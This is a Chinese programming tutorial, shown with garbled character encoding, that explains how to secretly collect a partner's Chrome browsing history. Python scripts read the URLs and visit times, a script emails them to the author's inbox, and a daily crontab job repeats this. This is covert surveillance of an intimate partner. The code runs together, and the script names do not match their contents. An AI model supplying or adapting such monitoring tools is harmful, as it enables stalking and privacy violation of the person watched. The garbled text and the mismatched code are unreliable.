Python實時監(jiān)控網(wǎng)站瀏覽記錄實現(xiàn)過程詳解
需求:
(1) 獲取你對象chrome前一天的瀏覽記錄中的所有網(wǎng)址(url)和訪問時間,并存在一個txt文件中
(2)將這個txt文件發(fā)送給指定的郵箱地址(你的郵箱)
(3)建立例行任務(wù),每天定時自動完成這些操作,你就可以通過郵件查看你對象每天看啥了
準(zhǔn)備
macOS Sierra Python3.6 Chrome發(fā)送郵件的qq郵箱地址
qq郵箱授權(quán)碼
SMTP服務(wù)器地址 : smtp.qq.com
接受郵件的郵箱地址
執(zhí)行:
(1) 首先我們用DB Browser for SQLite來看下History中的urls表的數(shù)據(jù)組成
從表中可以看出,我們要的網(wǎng)址和訪問時間就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-from email import encodersfrom email.header import Headerfrom email.mime.text import MIMETextfrom email.mime.multipart import MIMEMultipartfrom email.mime.base import MIMEBasefrom email.utils import parseaddr, formataddrimport smtplibimport argparse# 1.文件執(zhí)行的需要的參數(shù)(result.txt)parser = argparse.ArgumentParser()parser.add_argument(’affix_file’,help=’the path of the affix’)args = parser.parse_args()# 2.格式化一個郵件地址和郵件信息def _format_addr(s): name, addr = parseaddr(s) return formataddr((Header(name, ’utf-8’).encode(), addr))#連接服務(wù)器(這里大家好改成自己的!)from_addr = '771568102@qq.com' #發(fā)件人郵箱password = 'xxxxxxxx' #發(fā)件人郵箱授權(quán)碼to_addr = '2160802033@cnu.edu.cn' #收件人郵箱smtp_server = 'smtp.qq.com' #SMTP服務(wù)器地址#郵件發(fā)件人名字、收件人名字、主題msg = MIMEMultipart()msg[’From’] = _format_addr(’風(fēng)一樣的女子 <%s>’ % from_addr)msg[’To’] = _format_addr(’風(fēng)一樣的男子 <%s>’ % to_addr)msg[’Subject’] = Header(’chrome歷史記錄每日更新’, ’utf-8’).encode()# 郵件正文是MIMEText:msg.attach(MIMEText(’窺探隱私是犯法的啊!’, ’plain’, ’utf-8’))# 添加附件就是加上一個MIMEBase,從本地讀取一個txt文件:with open(args.affix_file, ’r’) as f: # 設(shè)置附件的MIME和文件名,這里是py類型: mime = MIMEBase(’result’, ’txt’, filename=’result.txt’) # 加上必要的頭信息: mime.add_header(’Content-Disposition’, ’attachment’, filename=’result.txt’) mime.add_header(’Content-ID’, ’<0>’) mime.add_header(’X-Attachment-Id’, ’0’) # 把附件的內(nèi)容讀進(jìn)來: mime.set_payload(f.read()) # 用Base64編碼: encoders.encode_base64(mime) # 添加到MIMEMultipart: msg.attach(mime)#3.通過SMTP發(fā)送出去server = smtplib.SMTP(smtp_server, 25)server.set_debuglevel(1)server.login(from_addr, password)server.sendmail(from_addr, [to_addr], msg.as_string())server.quit()
通過這個腳本,我們可以把url和訪問時間提取出來,并且存儲在
result.txt中,下圖就是我得到的部分結(jié)果
(3) send_email.py:
# -*- coding: utf-8 -*-import sqlite3#大家要改成自己的路徑history_db = ’/Users/Marcel/Desktop/tmp/code/chrome_history/History’# 1.連接history_dbc = sqlite3.connect(history_db)cursor = c.cursor()# 2.選取我們想要的網(wǎng)址和訪問時間try: select_statement = 'SELECT url,datetime(last_visit_time/1000000-11644473600,’unixepoch’,’localtime’) AS tm FROM urls WHERE julianday(’now’) - julianday(tm) < 1 ORDER BY tm;' cursor.execute(select_statement)except sqlite3.OperationalError: print('[!] The database is locked! Please exit Chrome and run the script again.') quit()# 3.將網(wǎng)址和訪問時間存入result.txt文件results = cursor.fetchall()with open(’/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt’,’w’) as f:#改成自己的路徑 for i in range(len(results)): f.write(results[i][1]+’n’) f.write(results[i][0]+’n’)
通過這個腳本,我們可以把result.txt作為附件,發(fā)送給指定郵箱地
址,下圖是我得到的部分結(jié)果
(4) ./start.sh :其實,前面幾個腳本,已經(jīng)完成了我們的任務(wù),但是每次都執(zhí)行這么多腳
本,太麻煩了,我們可以把這些腳本的執(zhí)行語句整理成一個shell腳本。
cp /Users/Marcel/Library/Application Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.pypython /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
這樣,我們在終端執(zhí)行./start.sh,系統(tǒng)就會幫我們把這三條語句依次執(zhí)行了
注意:由于crontab命令需要絕對路徑,所以這里的路徑都是用絕對路徑
(5) crontab :如果使用了這個命令,在電腦開機(jī)并且聯(lián)網(wǎng)的情況,系統(tǒng)會自動執(zhí)行,然后把結(jié)果發(fā)到你的郵箱
使用方法:在終端下輸入crontab -e,使用vim輸入下面一行代碼就可以了
20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh
說明:前面兩個數(shù)字,就是你每天執(zhí)行這個腳本的時間,我這里設(shè)置的是14:20。
重要的事再說一遍,一定要寫絕對路徑!!
以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持好吧啦網(wǎng)。
相關(guān)文章:
1. ASP基礎(chǔ)知識VBScript基本元素講解2. Python requests庫參數(shù)提交的注意事項總結(jié)3. IntelliJ IDEA導(dǎo)入jar包的方法4. ajax請求添加自定義header參數(shù)代碼5. Kotlin + Flow 實現(xiàn)Android 應(yīng)用初始化任務(wù)啟動庫6. ASP中解決“對象關(guān)閉時,不允許操作。”的詭異問題……7. 利用CSS3新特性創(chuàng)建透明邊框三角8. python爬蟲學(xué)習(xí)筆記之pyquery模塊基本用法詳解9. asp知識整理筆記4(問答模式)10. 詳談ajax返回數(shù)據(jù)成功 卻進(jìn)入error的方法
